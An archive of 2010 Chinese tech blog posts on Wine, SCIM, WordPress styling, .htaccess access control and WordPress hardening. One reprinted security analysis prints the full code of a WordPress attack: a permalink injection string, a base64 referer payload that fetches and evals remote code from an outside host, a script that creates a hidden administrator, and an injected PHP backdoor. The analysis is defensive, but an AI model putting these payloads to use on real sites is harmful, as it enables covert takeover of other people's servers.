-
解决wine虚拟的中文软件会出现乱码问题 - [Linux]
2010-07-15
wine的乱码是因为字体关联不正确造成的,在解决的时候需要修改注册表的键值,在ubuntu8.04中安装了wine如果显示的都是乱码可以通过修改 注册表关联来解决。
注册表并不怎么陌生,但是想起来windows中繁琐的查找注册表显然是会头痛的。1)把真正xp系统c:\windows\font\simsun.ttc 拷到用wine菜单中用brower drive c:\ 打开的虚拟c盘的同样位置。
2)改配置文件在终端中用这个:在linux中需要作的是打开终端,然后输入命令cd .wine会自动查找该文件夹,然后只需要输入ls查看下文件,果然system.reg就在这!那么来编辑下吧~gedit system.reg,按照网上的说明方法。
打开.wine/system.reg
进行编辑
(一定要使 用 gedit 或其他支持 gb2312/utf8 编码的编辑器修改这些文件,否则文件中的中文可能变乱码)
搜索: LogPixels
找到的行应该是:[System\\CurrentControlSet\\Hardware Profiles\\Current\\Software\\Fonts]
将其中的:
“LogPixels”=dword:00000060
改 为:
“LogPixels”=dword:00000070
搜索: FontSubstitutes
找到的行应该是: [Software\\Microsoft\\Windows NT\\CurrentVersion\\FontSubstitutes]
将其 中的:
“MS Shell Dlg”=”Tahoma”
“MS Shell Dlg 2″=”Tahoma”
改为:
“MS Shell Dlg”=”SimSun”
“MS Shell Dlg 2″=”SimSun”
保存完成就ok拉。 -
ubuntu下SCIM输入法安装 - [Linux]
2010-05-10
这里的方法同样适用于Debian下的Scim输入法的安装。
根据SCIM的文档说明,装SCIM最好用UTF-8的locale。(你也可以使用GB2312以及GBK的locale,使用scim都一样的)
对于一个新装好的没有安装SCIM的Ubuntu系统(新的Ubuntu安装器选择中文安装后,一边都已经装好了scim),只要apt-get install scim(当然前提是你要设置好源,具体见http://wiki.ubuntu.org.cn/%E5%BF%AB%E9%80%9F%E8%AE%BE%E7%BD%AE%E6%8C%87%E5%8D%97, 有些高校自己内部也有源的,好好找找)
就已经安装好SCIM了!当然还不能用。因为SCIM只是一个输入法平台,还要在上面安装输入法(或者码表)。例如,
apt-get install scim-chinese
就可以使用智能拼音输入法了!当然在使用之前还要先配置一下,配置方法很简单,在/etc/X11/Xsession.d/里新建一个名叫95xinput的文件,文件内容如下/usr/bin/scim -d
XMODIFIERS="@im=SCIM"
export XMODIFIERS
export GTK_IM_MODULE=scim保存文件,确认内容无误后,退出X(建议退出X后运行exit命令重新login一次),再进入X的时候就可以用Ctrl+Space调出SCIM了!
就我的试验情况,这样已经可以在qterm里使用SCIM了。如果你需要其它中文输入法,可以这样
apt-get install scim-tables-zh
这包括了简体中文的五笔、二笔、广东拼音、自然码,和繁体中文的行列、 }頡五代、大易、注音等输入法了。
我现在使用五笔输入法,能输入简繁汉字,词汇也丰富,很好用。但是现在还不能在基于GTK的软件中调出SCIM,例如我就不能在leafpad里使用SCIM。解决办法很简单,只要安装scim-gtk2-immodule就可以了。
apt-get install scim-gtk2-immodule
安装后无须重启X,只要重新打开基于GTK的软件就可以了,比如我新开一个leafpad,马上就可以使用SCIM了!
这个命令会根据依赖关系自动安装 scim-server-socket, scim-frontend-socket, scim-config-socket,如果没有安装scim,也会自动安装。
From: http://school.cfan.com.cn/system/unix/2008-05-03/1209822646d179718.shtml
-
wordpress的首行缩进css方法 - [Programmer]
2010-05-04
今天实现了WordPress首行缩进效 果,真是太棒了
因为WordPress是老外开发的,当然很符合老外的使用习惯.比如首行无缩进等.
今 天Blinux来讲讲如何实现WordPress首行缩进的功能.
其 实要想实现WordPress首行缩进的 效果,很简单.只要在你当前使用的主题style.CSS中增加一段代码即可.
以下是blinux另一个博客修改后的CSS关于WordPress首行缩进的代码
p {
margin: 0.7em 0;
text-indent:2em;
line-height:1.8em;
}其实起作用的 就是
text-indent:2em;
这 一句.
原理就是WordPress换行的时候缩进一下.
赶紧动手试试吧,马上你的WordPress博 客也可以首行缩进了.
From: http://www.nonabyte.net/wordpress-indent-the-first-line/
-
WordPress安全综合 - [Programmer]
2010-05-03
大多数人不会在维护WordPress安装上耗费过多时间。 尽管如此,WordPress的安全问题仍然应该放在最重要的位置上。
服务器端和.htaccess
保护WordPress网站安全的第一步自然是寻找安全的虚拟主机托管商。 服务器安全是所有安全措施的基础。
锁定.htaccess
.htaccess文件有很多用途,但它最主要的功能,是防止黑客入侵。你可以在.htaccess文件里指定一些有权登录你的WordPress 后台的IP地址。
在.htaccess文件里加入下面的代码可以达到这个效果:
AuthUserFile /dev/null
AuthGroupFile /dev/null
AuthName "Access Control"
AuthType Basic
order deny,allow
deny from all
#IP address to Whitelist
allow from 123.456.789.012
用你指定的IP地址代替其中的123.456.789.012。
禁用目录浏览
一些服务器设置允许目录浏览,即你可以通过http://yoursite.com/wp-plugins/这样的链接看到自己的插件 内容。 要禁用目录浏览,只需要在.htaccess文件里加上下面的代码:
Options All -Indexes 保护.htaccess
.htaccess文件的安全保护不容忽视。 首先你可以将文件的权限改为CHMOD 644。通过FTP登录进入服务器,然后进入网站根目录(通常是public_html文件夹,除非你为WordPress另设了一个独立文件夹)。 找到.htaccess文件后右击文件,将权限设为644。第二种方法是在.htaccess文件的最下部分加上以下代码:
<Files wp-config.php>
Order Deny,Allow
Deny from All
</Files>
优化wp-config文件
.htaccess文件之后接下来是wp-config.php文件。
移动wp-config文件
从WordPress 2.6开始,WordPress用户可以将wp-config.php文件移到当前安装文件的上级文件夹中。 如果在当前WordPress目录下没有发现wp-config文件,WordPress会自动检查wp-config文件是否在其上层目录中。
更改WordPress表前缀
安装时WordPress的默认表前缀是wp_。 刚刚安装完后要修改WordPress表前缀是件很容易的事,但当你的WordPress网站已经运行了一阵子时,修改表前缀就不是那么容易的事了。 WP Security Scan插件就是为了解决这个问题而出现的。 你可以用这个插件修改默认的表前缀。 这样攻击者在试图进入你的WordPress文件时就又多了一层障碍。
定义安全密钥
你可以在wp-config文件中看到下面的内容:
/**#@+ * Authentication Unique Keys.
* Change these to different unique phrases!
* You can generate these using the
{@link https://api.wordpress.org/secret-key/1.1/ WordPress.org secret-key service}* You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
* @since 2.6.0
*/
define('AUTH_KEY', 'put your unique phrase here');
define('SECURE_AUTH_KEY', 'put your unique phrase here');
define('LOGGED_IN_KEY', 'put your unique phrase here');
define('NONCE_KEY', 'put your unique phrase here');
代码中的链接给出了一套密钥规则,你可以用所给的规则来代替代码中的四行define规则。
WordPress安全插件
值得庆幸的是,WordPress拥有为数不少的安全插件。 下面只介绍一些最基础最重要的安全插件。
WP Security Scan插件
WP Security Scan插件会查看你的WordPress安装文件,看是否有安全漏洞并给出相应的意见。 该插件的查看范围包括:
Login LockDown WordPress Security 安全插件
Login LockDown记录尝试登陆WordPress失败的所有IP地址和时间。 如果插件发现短时间内同一个IP段内多次登录失败,插件会对禁止该IP段内所有登录请求。 Login LockDown有效阻止了暴力破解密码。
Stealth Login插件
用户可以通过这款插件自定义登录、登出、注册所用的URL。
AntiVirus for WordPress插件
AntiVirus for WordPress是一款保护博客不被采集和垃圾评论入侵的有效插件。 这款插件的用途包括: 检测可能存在的平台漏洞、病毒感染、恶意链接等。AntiVirus for WordPress还可以给你发送邮件通知和白名单。安全预防措施
以下是一些简单的安全预防措施:
- 1、时将WordPress和插件都更新到最新版本
- 2、除不用的WordPress主题和插件
- 3、用安全程度较高的密码
- 4、使用“admin”为登录名
- 5、WordPress文件规定正确的文件许可权限
- 6、期备份WordPress数据库(可利用备份插件)
-
Change WordPress database table name prefix - [Programmer]
2010-05-03
**Do not do this unless you are comfortable with PHPMyAdmin and making changes to MySQL – if not, ask someone to do it for you
**Back up your database
For some people the database table name prefix changing functionality of WP Security Scan doesn’t work. In that case you may use the following instructions to change it manually.
1. backup your wordpress database to a sql file (you can use phpmyadmin)
2. open that *.sql file (make another copy first) using text editor, then find and replace all “wp_” prefix to “something_”.
3. now, drop all tables of your wordpress databases (don’t drop the database)
4. import the *.sql file which has been edited before into your wordpress databases.
5. and lastly, edit your wp-config.php file and change the $table_prefix = ‘wp_’; to $table_prefix = ’something_’;
6. you may find that your plugins are deactivated automatically when this happens, so you’ll want to activate them again if that’s the case… I’d recommend deactivating them prior to doing this anyway as a precaution.From: http://semperfiwebdesign.com/documentation/wp-security-scan/change-wordpress-database-table-name-prefix/
-
.htaccess使用指南之如何使用访问IP控制 - [Programmer]
2010-05-03
在需要禁止列目录的目录创建一个名 为".htaccess"的文件,并使用Allow和Deny选项。
Allow和Deny可以用于apache的conf文件或 者.htaccess文件中(配合Directory, Location, Files等),用来控制目录和文件的访问授权。
所以,最常 用的是:
Order Deny,Allow
Allow from All注意“Deny,Allow”中间只有一个逗号, 也只能有一个逗号,有空格都会出错;单词的大小写不限。上面设定的含义是先设定“先检查禁止设定,没有禁止的全部允许”,而第二句没有Deny,也就是没 有禁止访问的设定,直接就是允许所有访问了。这个主要是用来确保或者覆盖上级目录的设置,开放所有内容的访问权。
按照上面的解释,下面的设 定是无条件禁止访问:
Order Allow,Deny
Deny from All如果要禁止部分内容的访问,其他的全部 开放:
Order Deny,Allow
Deny from ip1 ip2
或者
Order Allow,Deny
Allow from all
Deny from ip1 ip2apache 会按照order决定最后使用哪一条规则,比如上面的第二种方式,虽然第二句allow允许了访问,但由于在order中allow不是最后规则,因此还 需要看有没有deny规则,于是到了第三句,符合ip1和ip2的访问就被禁止了。注意,order决定的“最后”规则非常重要,下面是两个错误的例子和 改正方式:
Order Deny,Allow
Allow from all
Deny from domain.org
错 误:想禁止来自domain.org的访问,但是deny不是最后规则,apache在处理到第二句allow的时候就已经匹配成功,根本就不会去看第三 句。
解决方法:Order Allow,Deny,后面两句不动,即可。Order Allow,Deny
Allow from ip1
Deny from all
错误:想只允许来自ip1的访问,但是,虽然第二句中设定了allow规则,由于order 中deny在后,所以会以第三句deny为准,而第三句的范围中又明显包含了ip1(all include ip1),所以所有的访问都被禁止了。
解 决方法一:直接去掉第三句。
解决方法二:
Order Deny,Allow
Deny from all
Allow from ip1下面是测试过的例子:
--------------------------------
Order deny,allow
allow from all
deny from 219.204.253.8
#全部都可以通行
-------------------------------
Order deny,allow
deny from 219.204.253.8
allow from all
#全部都可以通行
-------------------------------
Order allow,deny
deny from 219.204.253.8
allow from all
#只有 219.204.253.8不能通行
-------------------------------
Order allow,deny
allow from all
deny from 219.204.253.8
#只有219.204.253.8不能通行
-------------------------------
-------------------------------
Order allow,deny
deny from all
allow from 219.204.253.8
#全部都不能通行
-------------------------------
Order allow,deny
allow from 219.204.253.8
deny from all
#全部都不能通行
-------------------------------
Order deny,allow
allow from 219.204.253.8
deny from all
#只允许 219.204.253.8通行
-------------------------------
Order deny,allow
deny from all
allow from 219.204.253.8
#只允许219.204.253.8通行
-------------------------------
--------------------------------
Order deny,allow
#全部都可以通行(默认的)
-------------------------------
Order allow,deny
#全部都不能通行(默认的)
-------------------------------
Order allow,deny
deny from all
#全部都不能通行
-------------------------------
Order deny,allow
deny from all
#全部都不能通行
-------------------------------
对 于上面两种情况,如果换成allow from all,则全部都可以通行!
-------------------------------
Order deny,allow
deny from 219.204.253.8
#只有219.204.253.8不能通行
-------------------------------
Order allow,deny
deny from 219.204.253.8
#全部都不能通行
-------------------------------
Order allow,deny
allow from 219.204.253.8
#只允许219.204.253.8通行
-------------------------------
Order deny,allow
allow from 219.204.253.8
#全部都可以通行
-------------------------------
-------------------------------
order deny,allow
allow from 218.20.253.2
deny from 218.20
#代表拒绝218.20 开头的IP,但允许218.20.253.2通过;而其它非218开头的IP也都允许通过。
-------------------------------
order allow,deny
allow from 218.20.253.2
deny from 218.20
#和上面的差不多,只 是掉换的order语句中的allow、deny先后顺序,但最终结果表示全部都拒绝! -
WordPress eval(base64_decode($_SERVER[HTTP_REFERER])) Hack: Initial Analysis - [Programmer]
2010-05-03
Several sites have been hit recently (including this one) with what is apparently a new vulnerability in WordPress. The attack exploits an apparent vulnerability which allows non-administrative accounts to edit the permalink structure of the site. This is used to inject PHP code that creates an unauthorized administrative WordPress account and attempts to hide the account from the WordPress Web UI via JavaScript injection. It also injects PHP code into several PHP files on the file system and edits permalinks to contain additional code whose intent appears to be to base64 decoded and eval HTTP referer headers.
Initial Attack And Payload
How the vulnerability works is still unclear, but it appears that the attacker must register an account in order to initiate the attack. Upon logging in, the attacker edits the permalink structure to end with:
"/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_EXECCODE%5D))%7D%7D|.+)&%
This allows the attacker to execute PHP code via the HTTP referer header. The attacker then issues a request to xmlrpc.php with a malicious payload in the HTTP referer header:
219.75.255.131 - - [03/Sep/2009:21:29:49 -0700] "POST /xmlrpc.php HTTP/1.0" 200 394 "JHJvbGU9J2FkbWluaXN0cmF0b3InOyR1c2VyX2xvZ2luPSdDYXJyb2xXaWdnaW44Mic7JHVzZXJfcGFzcz0nQEhjJnB1VG1IJVRYJztldmFsKGZpbGVfZ2V0X2NvbnRlbnRzKCdodHRwOi8vbGlua3Mud2Vid29yZHByZXNzLmNuL2RhdGEvc2hvcnRwYXJ0Mi50eHQnKSk7ZXhpdDs=" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1b) Gecko/20020722"
In our case, the base64 data decodes to:
$role='administrator';$user_login='CarrolWiggin82';$user_pass='@Hc&puTmH%TX';eval(file_get_contents('http://links.webwordpress.cn/data/shortpart2.txt'));exit;
Payload Execution
The shortpart2.txt file contains the following code:
require_once(ABSPATH.'wp-includes/registration.php');global $wp_version;global $wpdb;
echo '<data>'."\n";
$users_id = $wpdb->get_results("SELECT ID FROM $wpdb->users");
foreach ($users_id as $id){
$my_user=get_userdata($id->ID);
if($my_user->wp_user_level==10){
if(strlen($my_user->user_firstname)>25) wp_delete_user($id->ID);
}
}
echo ''.get_option('siteurl').''."\n".''.$wp_version.''."\n".''.$user_login.''."\n".''.$user_pass.''."\n";
$user_id = wp_create_user($user_login,$user_pass);
$name="...\n\n\n\n\n\n\n\n\n".'<div id="user_superuser"><script language="JavaScript">
var setUserName = function(){
try{
var t=document.getElementById("user_superuser");
while(t.nodeName!="TR"){
t=t.parentNode;
};
t.parentNode.removeChild(t);
var tags = document.getElementsByTagName("H3");
var s = " shown below";
for (var i = 0; i < tags.length; i++) {
var t=tags[i].innerHTML;
var h=tags[i];
if(t.indexOf(s)>0){
s =(parseInt(t)-1)+s;
h.removeChild(h.firstChild);
t = document.createTextNode(s);
h.appendChild(t);
}
}
var arr=document.getElementsByTagName("ul");
for(var i in arr) if(arr[i].className=="subsubsub"){
var n=/>Administrator \((\d+)\)</gi.exec(arr[i].innerHTML);
if(n[1]>0){
var txt=arr[i].innerHTML.replace(/>Administrator \((\d+)\)</gi,">Administrator ("+(n[1]-1)+")<");
arr[i].innerHTML=txt;
}
}
}catch(e){};
};
addLoadEvent(setUserName);
</script></div>';
update_usermeta($user_id, 'first_name', $name);$user = new WP_User($user_id);$user->set_role($role);
update_option('users_can_register',0);print '<register_status>'. get_option('users_can_register').'</register_status>'."\n";echo '</data>'."\n";This code first deletes all administrative accounts whose first names are longer than 25 characters; this could potentially be a way for the attacker to clean up any previously created administrative accounts in the event that s/he attacks the same site twice. The attacker's name is then set to contain JavaScript code, which hides the attacker's administrative account from the WordPress Web interface, and escalates the account to administrative privileges.
Although it is still unclear when or how it happens, several other PHP files are infected with the following malicious code:
gpc_19045 function ($ l19047) (if (is_array ($ l19047)) (foreach ($ l19047 as $ l19045 => $ l19046) $ l19047 [$ l19045] = gpc_19045 ($ l19046);) elseif (is_string ($ l19047) & &
substr($l19047,0,4)=="____") substr ($ l19047, 0,4 )=="____")
{eval(base64_decode(substr($l19047,4)));$l19047=null;}return $l19047;} (eval (base64_decode (substr ($ l19047, 4 )));$ l19047 = null;) return $ l19047;)
if(empty($_SERVER))$_SERVER=$HTTP_SERVER_VARS;array_map("gpc_19045",$_SERVER); if (empty ($ _SERVER)) $ _SERVER = $ HTTP_SERVER_VARS; array_map ( "gpc_19045", $ _SERVER);In our case, this code was injected into index.php and Lab/index.php, which may indicate that some automated script was run on teh sever to recursively infect index.php files with the code. There have also been reports of this code being placed into the wp-config.php file and the wp-content/uploads/pass.php file.
Mitigation
Since the initial code execution seems to use xmlrpc.php to execute the malicious payload, we suggest adding a single line reading "exit();" (no quotes) as the first line of PHP code in the xmlrpc.php file in order to mitigate the threat until a suitable patch is produced. Note that the actual vulnerability does not appear to be located in xmlrpc.php, so other avenues of exploitation may still exist.
Cleanup
The blog's permalink structure should be restored to prevent errors and possible additional exploitation. You should also clean up the above file injections and remove the attacker's administrative account. The initial user account used by the attacker should also be removed; it will likely be the last account created just before the creation of the malicious administrative account. More detailed information on cleaning up the malicious accounts can be found here.
From: http://www.sourcesec.com/Lab/wordpress-hacked.html
-
How to change wp-admin directory in wordpress? - [Programmer]
2010-05-03
Who Else Wants to Hide Their Wordpress Folder?
Tonight, I solved a very old problem in Wordpress security among novice users. I will show you how to hide your Wordpress admin directory while still being able to use it! When I say “hide,” I mean you can rename the wp-admin folder to whatever you want!
The Code (for people who don’t want to read)
Copy and paste the following into your .htaccess file (located wherever your Wordpress folder is) to “rename” your wp-admin folder! If you are having trouble editing your .htaccess file, you should Google around for that as it’s beyond the scope of this article (or post a question in the comments and maybe another person can help).
- Change YOURSECRETWORDHERE to something else. It can be any word you want. Just make sure it’s unique and somewhat long. Make it, like, your pets name or something random. Read this post to understand why this matters.
- Change ADMINFOLDER to the new folder name you want. Letters, numbers, underscores, and dashes only. That ^ in front of it is on purpose. Don’t delete that.
RewriteEngine On
RewriteBase /
##### ABOVE THIS POINT IS ALREADY INSERTED BY WORD PRESS
##### Michi’s code is BELOW #####
RewriteCond %{REQUEST_URI} wp-admin/
RewriteCond %{QUERY_STRING} !YOURSECRETWORDHERE
RewriteRule .*\.php [F,L]
RewriteCond %{QUERY_STRING} !YOURSECRETWORDHERE
RewriteRule ^ADMINFOLDER/(.*) wp-admin/$1?%{QUERY_STRING}&YOURSECRETWORDHERE [L]
##### Michi’s code is ABOVE #####
##### BELOW THIS POINT IS ALREADY INSERTED BY WORD PRESS
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]Note: there are a few drawbacks to this hack. Read the bottom of this post for those.
The Explanation
My adventure started when I read a pretty terrible piece of advice that suggested using the .htaccess file to restrict who sees your admin section by IP. Great, so if I’m at work, I can’t login. So if my IP changes, I can’t login. If I’m at Starbucks, I can’t login. That’s retarded. That’s not a solution!
But it’s on the right track. The .htaccess file can do a lot.
Oh, and if any Wordpress developers ever read this, please make the word press admin folder be a variable name you can change! It is retarded that it is a hard coded.
The .htaccess file shines best when it is used for URL rewriting rules. For you non-programmers, the next block explains a little about what I just said. If you don’t care, skip it.
It is good for making URLs access files that don’t necessarily exist on the server exactly as they appear in the URL. For example, Digg.com uses URL rewrites to hide file and variable names. So the URL digg.com/videos certainly does not point to a file or folder actually called “videos”. Rather, it probably turns into something like digg.com/somefilename.ext?type=videos. The point is, you can hide what’s actually happening behind the scenes. I hope you get the idea.
Disabling the wp-admin Folder and Creating a Secret Mirror Folder
There are two steps in blocking access to the wp-admin folder. Disabling it is easy, but making it still functional is the hard part. Additionally, there are CSS files and other dependencies in that folder that must still be used. So after disabling it, a condition must be added that makes it only be disabled when appropriate.
RewriteCond %{REQUEST_URI} wp-admin/
RewriteCond %{QUERY_STRING} !YOURSECRETWORDHERE
RewriteRule .*\.php [F,L]- The first line says “If the word wp-admin is found in the URL…”
- The second line says, “And if the query is missing our password…
- The third line says “And it’s a PHP file… Deny access.”
We’ll get to that password thing in a minute. At this point, if you visit wp-admin/, it will not work. Half way there!
The next part is the guts of it all. We get to set our very own admin folder! I want to call my admin folder “secret_room”. So here’s how the code would look:
RewriteCond %{QUERY_STRING} !YOURSECRETWORDHERE
RewriteRule ^secret_room/(.*) wp-admin/$1?%{QUERY_STRING}&YOURSECRETWORDHERE [L]This next block is for you technically oriented people:
The first part basically makes sure the rule doesn’t trigger itself later (recursive condition). This is basically saying “if the URL starts with ’secret_room,’ then replace that part with wp-admin. Then, add in the query string (things after the question mark). Finally, add in the secret word.”
Now, if I go to the folder secret_room/, it will work just like wp-admin used to!
Don’t use “secret_room.” That’s my example. You use whatever folder name you want. Letters, numbers, underscores, and dashes only.
But we’re not done yet. That secret word thing needs to be customized. Why? Well, try this. Go to your blog’s wp-admin folder, but this time, add on “?YOURSECRETWORDHERE” on the end and it will work too (as in, myblog.com/wp-admin/?YOURSECRETWORDHERE)! Curious why? If you’re a little geeky, read the next block. Otherwise, skip it.
Well, this hack works by changing the URL you type in by adding that “secret word” on the end of it. It only does this when someone visits the “secret_room” folder. But it doesn’t add it on when you just type in the wp-admin/ folder (or any other location). Then, when someone is looking at a wp-admin folder, it looks to see if that secret word is in the URL. If you went to the URL by hand, you likely did not type that word in. But the “secret_room” always makes sure the secret word is attached. This is how it distinguishes between visiting wp-admin directly, and visiting it through the mirror folder. Remember that any re-writing of the URL happens behind the scenes, so your browser won’t show you what’s going on.
Since I just gave this same code to about 10,000 people, it’s in your best interest to change your secret word to be unique to you. Note that nobody will ever see it, including you. You will forget what it is, and realistically, it doesn’t matter what the hell you set it to. As long as it’s not the default one I just gave to you. Ideally, it should be long and something highly unlikely to appear in a URL. Try your name, then maybe add your favorite color. I don’t know. Just do something random. Case matters.
Here is what the final .htaccess, ideally, should look like:
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_URI} wp-admin/
RewriteCond %{QUERY_STRING} !YOURSECRETWORDHERE
RewriteRule .*\.php [F,L]
RewriteCond %{QUERY_STRING} !YOURSECRETWORDHERE
RewriteRule ^secret_room/(.*) wp-admin/$1?%{QUERY_STRING}&YOURSECRETWORDHERE [L]
# BEGIN WordPress
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
# END WordPressBenefits and Drawbacks to Hiding wp-admin
This hack has its drawbacks.
- The “edit” link on your posts will no longer work. You may want to remove it from your theme.
- The admin link on your side bar will no longer work. You may want to remove it from your theme.
- The standard login link will no longer work. Instead, use a bookmark as it will redirect you back to your hidden login page after you finish logging in.
Note that the first two drawbacks can be addressed by editing wp-includes/link-template.php: line 248 and 263. Change “wp-admin” to your new folder name. However, this hack would need to be re-done if you upgrade WordPress. If you make these hacks, it will only be visible to users who have permission to see these links anyway.
There are a few significant upsides:
- If ever again there is another vulnerability that hits the WordPress wp-admin folder, you are very likely immune.
- Upgrading WordPress doesn’t un-hide the folder. It will persist through upgrades.
Remember, this hack will not protect you from having an insecure admin password. Although, it could protect you from a hacker since he won’t know where to go after successfully logging in (hah!).
Lastly, be careful when doing this. If you type something wrong, you’ll get server errors (I believe error code 500). Make sure you type it in exactly as you see it in these examples first. Then change one part at a time.
Changing the Admin User
One other point I noticed when tightening up my security was the default admin user name. Now, hah, this is assuming they actually brute force my password and then figure out how to get to the admin folder… good luck.
I noticed that I had an admin user account under the login name “admin”. Well, that’s a no-brainer. I went into the database and ran the following query:
UPDATE wpt_users SET user_login = ‘[my new username]‘, user_nicename = ‘[my new username]‘ WHERE wpt_users.ID = 1 LIMIT 1;
That solves another part of the problem. Now hackers have to guess not only my password, but also my username.
In Closing…
If you like what you’ve read, I’d appreciate it if you could Digg/Reddit/Stumble this article.

From: http://www.michiknows.com/2007/02/12/who-else-wants-to-hide-their-wordpress-admin-folder/
-
Wordpress增加分类导航 - [Programmer]
2010-05-01
wordpress的导航很简单,默认的是只显示首页和单一页面,有可能还会有个RSS按钮,这是由wordpress本身的设计理念所决定的,但 对于网站最佳体验来说是不够的,特别是中文读者,对这么简单的导航栏可能会不知所措,所以当你架设好wordpress,内容也逐渐丰富后,别忘记也丰富 一下你的导航栏。
第一个想到的就是将文章分类加入导航,由于不懂网页代码,所以最先想到的就是使用wordpress现成的插件,搜索一下没有发现又好又简单的插 件,也可能是自己运气不好。最后在各大wordpress发现问这个问题的挺多,高手们都是推荐在header.php里面加入代码来解决,都说是最简单 的方法。
既然这样就放弃插件,挽起袖子自己动手吧,走一步试一步,失败不要紧,只要有备份。进到后台后,在设计->主题编辑 里找到header.php,点开就可以看到里面的代码,谨慎起见,先将里面的代码复制出来备份一个,如果出错就再粘贴回来。好了,有了这个定心丸,就可 以在天书般的代码里查找“wp_list_pages”这个词组,推荐使用浏览器自带的搜索框会很快找到,如果不出意外,代码里应该只有一个 “wp_list_pages”,看清楚它的位置,应该类似于下面的代码(和你的代码可能有差别,但“wp_list_pages”位置是差不多的)
<li><a href=”<?php echo get_settings(’home’); ?>”>Home</a></li>
<?php wp_list_pages(’title_li=&depth=1′); ?>其中home就是导航中的“首页”按钮,而下面这一行代码就是控制单一页面在导航中的显示,现在使用使用复制粘贴大法,将下面一行复制粘贴到前面, 并将里面的“pages”改成“categories”,保存后看一下页面效果吧,是不是很简单。
<li><a href=”<?php echo get_settings(’home’); ?>”>Home</a></li>
<?php wp_list_categories(’title_li=&depth=1′); ?>
<?php wp_list_pages(’title_li=&depth=1′); ?>当然这种偷梁换柱的方法只能展现最基本的效果,如果你想要打造更强的导航栏,那你需要掌握点基本编码,并了解下函数参数等,下面是转自網生@誌 | zEUS.’Blog的Wordpress 中 categories 的用法
在 Wordpress 中,一般 wp_list_categories 来显示所有分类的链接列表,它有两种表示方 法:list_cats()(deprecated) 和 wp_list_cats()(deprecated),下面是使用方法:
<?php wp_list_categories(’参数’); ?>
默认参数设置为:
$defaults = array(
’show_option_all’ => ”, 无链接的分类
‘orderby’ => ‘name’, 按照分类名排序
‘order’ => ‘ASC’, 升序
’show_last_update’ => 0, 不显示分类中日志的最新时间戳
’style’ => ‘list’, 用列表显示分类
’show_count’ => 0, 0, 不显示分类下的日志数
‘hide_empty’ => 1, Displays only Categories with posts
‘use_desc_for_title’ => 1, 显示分类链接中 title 标签的分类描述
‘child_of’ => 0, 子分类无限制
‘feed’ => ”, 无 feed
‘feed_image’ => ”, 无 feed 图片显示
‘exclude’ => ”, 不在分类列表中显示该分类
‘hierarchical’ => true, 分层显示父/子分类
‘title_li’ => __(’Categories’), 在列表前作为标题显示分类
‘echo’ => 1 显示分类
);用法举例:
1、按照字母排序,并只显示 ID 为16、3、9和5的分类:<ul>
<?php
wp_list_categories(’orderby=name&include=3,5,9,16′); ?>
</ul>2、按照字母排序,显示每个分类的日志数,但不显示 ID 为10的分类
<ul>
<?php
wp_list_categories(’orderby=name&show_count=1&exclude=10′); ?>
</ul>3、显示或隐藏列表头,在分类函数 wp_list_categories 中,title_li 这个参数用于设置或者隐藏分类列表的头或者标题。它的默认值是:‘(__(’Categories’)’ ,这也就是为什么我们在不另设置分类列表标题的时候,它会显示“Categories” 的原因。如果你在这里不设置任何参数,那么它将什么都不会显示。下面的例子是排除 ID 为4和7并且隐藏列表头的分类列表:
<ul>
<?php
wp_list_categories(’exclude=4,7&title_li=’); ?>
</ul>接下来的例子是仅仅只显示 ID为5、9和23,并且列表头显示为“诗歌”的分类列表:
<ul>
<?php
wp_list_categories(’include=5,9,23&title_li=<h2>’ . __(’诗歌’) . ‘</h2>’ ); ?>
</ul>4、仅显示某个分类下的子分类,下面的示例代码生成了 ID 为8的父分类下的子分类根据其 ID 进行排序的链接列表(读起来真绕口 -__-|||),它会显示每个分类下的文章数,并且隐藏链接的 title 标签中的分 类描述,注意:如果父分类下没有任何文章,那么父分类将不会显示
<ul>
<?php wp_list_categories(’orderby=id&show_count=1
&use_desc_for_title=0&child_of=8′); ?>
</ul>这个函数里设置的参数比较多,这里我稍作说明:我们可以看到不同参数之间使用了“&”这个“与 符号”来进行区分连接,orderby=id 按照 ID 排序,show_count=1 显示分类下的文章数,use_desc_for_title=0 隐藏分类描述,child_of=8 指定 ID 为8的子分类。
5、显示带有 RSS Feed 链接的分类列表,下面代码根据分类名对分类列表排序,并显示每个分类下的文章 数和 RSS 的 Feed 链接。
<ul>
<?php
wp_list_categories(’orderby=name&show_count=1&feed=RSS’); ?>
</ul>还可以使用 RSS 图标代替 RSS 链接
<ul>
<?php
wp_list_categories(’orderby=name&show_count=1
&feed_image=/images/rss.gif’); ?>
</ul>6、标记和样式化分类列表,从上面的例子中可以看到,我们将分类列表函数: wp_list_categories() 套用在 ul 和 li 标签里,除此外我们还可以对其进行其它的样式化,个人认为这些工作直接在 CSS 里设置即可,原文档中的方法实际作用并不是很大,这里我就不多做介绍,有兴趣的朋友可以 参 考这里
From:http://www.bianji.org/news/2009/04/113.html
-
WordPress 分类做导航栏并高亮显示 - [Programmer]
2010-05-01
几乎每个网站都有一个导航栏,导航栏一般将网站的内容分成几个类目,然后在导航栏中显示出来,以方便读者查阅相关内容。WordPress博客 也提供了此功能,但是不同的博客主题在导航栏的设置方面也不尽相同,现在大多数主题是以页面(page)作为导航栏类目的,但是这种方式似乎达不到“导 航”的目的,个人觉得用分类(category)和页面(Page一起)做为导航栏更合适。本文将指导你在WordPress中,如何设计一个用分类和页 面作为菜单的导航栏,并高亮显示当前所在的栏目。
为了让读者了解当前所在的文章分类,网页设计师常常用一些比较突出的方式显示导航栏中的当前栏目,抬头看一下本文的上方,导航栏中的“教 程指南”项目就被高亮显示了。

其实稍微懂一点网页设计的朋友都知道,这可以通过CSS来实现,但关键是如何确定该文章属于哪个分类,WordPress已经提供了现成 的方法,更简单,调用几个函数就可以实现,而且不需要太多额外的代码。下面我们一步一步地来实现我们的目的。
WordPress主题都提供了导航栏,一般导航栏的代码在header.php这个文件中,找到相 应的导航栏代码,改成如下形式,修改完毕后在浏览器里看看效果吧!注意:本文不讲解导航栏的样式设计,可根据需要自己定义相关的CSS和 HTML。
